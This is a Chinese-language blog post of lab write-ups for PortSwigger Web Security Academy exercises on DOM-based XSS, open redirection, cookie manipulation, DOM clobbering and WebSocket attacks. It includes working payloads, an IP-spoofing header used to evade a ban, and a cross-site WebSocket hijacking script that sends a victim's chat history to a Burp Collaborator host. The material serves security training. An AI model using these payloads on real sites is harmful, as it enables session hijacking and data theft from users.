freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PortSwigger之DOM-based+WebSockets漏洞笔记
2021-10-03 20:13:26

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

一、DOM-based vulnerabilities

01 DOM XSS using web messages

描述

本实验演示了一个简单的Web 消息漏洞。为了解决这个实验,使用漏洞利用服务器向目标站点发布一条消息,导致print()调用该函数。

解决方案

1.请注意,主页包含一个addEventListener()用于侦听 Web 消息的呼叫。

2.转到漏洞利用服务器并将以下内容添加iframe到正文中。请记住添加您自己的实验室 ID:

<iframe src="https://ac441f5c1edcac358068464500520081.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

3.存储漏洞并将其交付给受害者。

02 DOM XSS using web messages and a JavaScript URL

描述

本实验演示了一个由 Web 消息触发的基于 DOM 的重定向漏洞。为解决本实验,在利用该漏洞的漏洞利用服务器上构建一个HTML页面并调用该print()函数。

解决方案

<iframe src="https://ac901f4c1e624c4b8006f9e4009f007e.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

03 DOM XSS using web messages and JSON.parse

描述

本实验室使用 Web 消息传递并将消息解析为 JSON。为了解决实验室,在利用此漏洞的漏洞利用服务器上构建一个HTML页面并调用该print()函数。

解决方案

<iframe src=https://ac4e1f0b1e06221a800824b9005900d0.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

04 DOM-based open redirection

描述

该实验室包含一个基于 DOM 的开放重定向漏洞。为了解决这个实验室,利用这个漏洞并将受害者重定向到漏洞利用服务器。

解决方案

1.博客文章页面包含以下链接,该链接将返回到博客的主页:

<a href='#' onclick='returnURL' = /url=https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = "/"'>Back to Blog</a>

2.该url参数包含一个开放的重定向漏洞,允许您更改“返回博客”链接将用户带到何处。要解决实验室问题,请构建并访问以下 URL,记住更改 URL 以包含您的实验室 ID 和漏洞利用服务器 ID:

https://accc1f3a1ee52ef680e001f700150059.web-security-academy.net/post?postId=4&url=https://exploit-ac2d1f241e3d2ef480b8018001d00030.web-security-academy.net/

05 DOM-based cookie manipulation

描述

本实验演示了基于 DOM 的客户端 cookie 操作。为了解决这个实验室,注入一个 cookie 会在不同的页面上导致XSS并调用该print()函数。您将需要使用漏洞利用服务器将受害者定向到正确的页面。

解决方案

1.请注意,主页使用名为 的客户端 cookielastViewedProduct,其值是用户访问的最后一个产品页面的 URL。

2.转到漏洞利用服务器并将以下内容添加iframe到正文中,记住替换your-lab-id为您的实验室 ID:

<iframe src="https://acb61fda1ea44c4c80c9fcd9003b0065.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://acb61fda1ea44c4c80c9fcd9003b0065.web-security-academy.net';window.x=1;">

3.存储漏洞并将其交付给受害者。

06 Exploiting DOM clobbering to enable XSS

描述

该实验室包含破坏 DOM 的漏洞。注释功能允许“safe”的 HTML。为了解决这个实验,构建一个 HTML 注入,破坏一个变量并使用XSS调用alert()函数。

解决方案

https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

07 Clobbering DOM attributes to bypass HTML filters

描述

本实验室使用 HTMLJanitor 库,该库易受DOM 破坏。为了解决这个实验,构建一个绕过过滤器的向量,并使用 DOM clobbering 注入一个调用print()函数的向量。您可能需要使用漏洞利用服务器以使您的向量在受害者的浏览器中自动执行。

解决方案

1.转到其中一篇博客文章并创建包含以下 HTML 的评论:

<form id=x tabindex=0 onfocus=print()><input id=attributes>

image-20211003142842386

2.转到漏洞利用服务器并将以下内容添加iframe到正文中:

<iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(()=>this.src=this.src+'#x',500)">

请记住更改 URL 以包含您的实验室 ID,并确保该postId参数与postId您在上一步中注入 HTML 的博客文章的相匹配。

image-20211003143001886

3.存储漏洞并将其交付给受害者。下次加载页面时,将print()调用该函数。

image-20211003143028544

该库使用该attributes属性来过滤 HTML 属性。但是,仍然有可能破坏attributes属性本身,导致长度未定义。这允许我们将我们想要的任何属性注入到form元素中。在这种情况下,我们使用onfocus属性来走私print()函数。

iframe被加载,500ms的延迟之后,它会将#x片段到页面URL的末尾。延迟是必要的,以确保在执行 JavaScript 之前加载包含注入的注释。这会导致浏览器关注具有 ID 的元素"x",即我们在评论中创建的表单。然后onfocus事件处理程序调用该print()函数。

二、WebSockets

01 Manipulating WebSocket messages to exploit vulnerabilities

描述

该在线商店具有使用WebSockets实现的实时聊天功能。

您提交的聊天消息由支持代理实时查看。

要解决实验室问题,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。

解决方案

1.单击“Live chat”并发送聊天消息。 2.在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。 3.使用浏览器发送包含<字符的新消息。 4.在 Burp Proxy 中,找到对应的 WebSocket 消息,观察<发送前是否已经被客户端进行了 HTML 编码。

image-202109281505203145.发送到repeater测试,如果断开连接就点击reconnect的按钮重新连接

image-20210928152430278

6.抓包,修改消息如下,forward

<img src=1 onerror=alert(1)>

image-20210928152342561

02 Manipulating the WebSocket handshake to exploit vulnerabilities

描述

该在线商店具有使用WebSockets实现的实时聊天功能。

它有一个激进但有缺陷的 XSS 过滤器。

要解决实验室问题,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。

解决方案

1.单击“Live chat”并发送聊天消息。 2.在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。 3.右键单击消息并选择“send to repeater”。 4.编辑并重新发送包含基本 XSS 负载的消息,例如:

<img src=1 onerror=alert(1)>

5.观察攻击已被阻止,并且您的 WebSocket 连接已终止。

image-202109281530118826.单击“reconnect”,观察连接尝试失败,因为您的 IP 地址已被禁止。

image-20210928153107983

7.将以下标头添加到握手请求以欺骗您的 IP 地址:

X-Forwarded-For: 1.1.1.1

8.单击“Connect”以成功重新连接 WebSocket。 9.发送包含混淆的 XSS 负载的 WebSocket 消息

<iframe src='JavAsCript:alert`1`'>

image-20210928173203085

03 Cross-site WebSocket hijacking

描述

该在线商店具有使用WebSockets实现的实时聊天功能。

要解决实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 负载,该负载使用跨站点 WebSocket 劫持攻击来窃取受害者的聊天记录,然后使用该负载访问其帐户。

解决方案

<script>
var ws = new WebSocket('wss://ac961f8f1f43629580952a8d007b001d.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://7px9wzsajp9ebtdt1lptkuzsbjh95y.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>

image-20210928173957907

登录carlos用户以解决实验

# DOM型 # 实验记录 # PortSwigger # websockets
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录